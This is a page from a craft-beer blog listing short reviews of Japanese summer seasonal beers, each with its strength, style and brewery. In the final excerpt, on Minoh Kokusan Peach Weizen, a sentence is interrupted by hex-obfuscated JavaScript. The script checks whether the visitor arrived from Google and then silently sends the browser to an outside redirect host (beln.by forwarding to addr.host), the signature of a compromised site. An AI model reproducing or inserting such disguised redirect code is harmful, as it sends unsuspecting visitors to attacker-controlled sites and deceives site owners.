Nagisa Heaven by Nagisa Beer

We all have our favourite styles of beer that we can always rely on. You know, the old standards for when you’re standing in the beer section of Seijo Ishii or Minemart with a rapidly warming bottle of Brewdog Cocoa Psycho in one hand (900 yen a pop) and 5 cans of chuhai in the other (total price: 900 yen) …

Kohan On The Rock Beer by Tazawako Kohan No Mori Beer

Kohan On The Rock Beer

Kohan On The Rock Beer is a 6% dunkler bock beer from Tazawako Kohan No Mori Beer, based in Akita, Japan. It was first released in 2011 and since then, it has become part of their summer seasonal line up. It’s meant to be drunk with ice, hence the name “on the rock” but why you would voluntarily dilute your …

Wind Valley Weizen by Kaze no Tani Brewery

Wind Valley Weizen

Wind Valley Weizen is a 5% German hefeweizen from Kaze no Tani Brewery, based in Shizuoka. It’s part of their summer seasonal range of craft beers and like the rest of the beers from Kaze no Tani Brewery, it has been classified as an organic beer. Wind Valley Weizen is brewed with a grain bill consisting of 50% wheat malt and undergoes natural carbonation …

Yokohama Seya no Komugi Beer by Yokohama Brewery

Yokohama Seya no Komugi Beer

Yokohama Seya no Komugi Beer is a 5.5% wheat ale from Yokohama Brewery, based in Kanagawa, Japan. It is part of their Summer seasonal line up and contains wheat, or komugi, that has been locally sourced from the Seya-ward of Yokohama, about 10kms west of Yokohama centre itself. It was first released in 2015 on tap only, but in 2016, …

Ushitora Mashi Mashi no Kuro Summer Edition by Ushitora Brewery

Ushitora Mashi Mashi no Kuro Summer Edition

Ushitora Mashi Mashi no Kuro Summer Edition, officially known as Ushitora #096 Mashi Mashi no Kuro Summer Edition Extreme Coffee, is a 9.3% Imperial stout from Ushitora Brewery, based in Tochigi, Japan. It’s the latest iteration of the beer from Ushitora Brewery, following their #009 Mashi Mashi and #072 Mashi Mashi Spring editions. At the time of writing, it can …

Ginga Kogen Soyokaze Kolsch by Ginga Kogen Beer

Ginga Kogen Kolsch

Ginga Kogen Soyokaze Kolsch is a 5% kölsch style beer from Ginga Kogen Beer, based in Iwate. It was once part of their summer range a few years back and reemerged in the June 2016, in both canned and draft form. It’s brewed to a traditional Cologne style recipe though besides that, not much else is know about this beer. Ginga Kogen …

Songbird Natsumikan to Shouga by Brewery Songbird

Songbird Natsumikan to Shouga

Songbird Natsumikan to Shouga is a 5% fruit beer from Brewery Songbird, based in Kisarazu, Chiba. It’s part of their 2016 summer lineup, and as such, it’s unknown whether it will come out again, what with Brewery Songbird’s penchant for changing their lineup quickly than others. The beer contains natsumikan, also known as summer oranges or amanatsu, and shouga, known …

Harvestmoon Smoke Ale by Harvestmoon Brewery

Harvestmoon Smoke Ale

Harvestmoon Smoke Ale is a 5.5% rauchbier from Harvestmoon Brewery, based in Urayasu, Chiba. It’s part of their summer line up of craft beers and can be found in both bottles and on tap. Harvestmoon Smoke Ale uses smoked cherry chips imported from Germany and is brewed to a traditional Bamberg recipe. Harvestmoon Smoke Ale Aroma and Taste On my second …

Karuizawa Kogen Session IPA by Yo-Ho Brewing

Karuizawa Kogen Session IPA

Karuizawa Kogen Session IPA is a 4.5% session IPA from Yo-Ho Brewing, based in Nagano. The beer is part of the Karuizawa Kogen Beer range though with Karuizawa Kogen Session IPA, Yo-Ho Brewing decided to bring back a seasonal beer for a second time. Their summer range of beers are usually one-offs. At the time of writing, it can be found in …

Minoh Kokusan Peach Weizen by Minoh Beer

Minoh Kokusan Peach Weizen

Minoh Kokusan Peach Weizen has a been a long time coming for BeerTengoku after my first, and only, experience with it at H@bit last year var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]]_0x5575[1]!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. It’s a 5.0% summer seasonal beer that is made from domestic peaches from Wakayama, in particular the arakawa peach (荒川の桃), a kind of white peach which is usually expensive to buy, crossed with the Minoh Weizen. …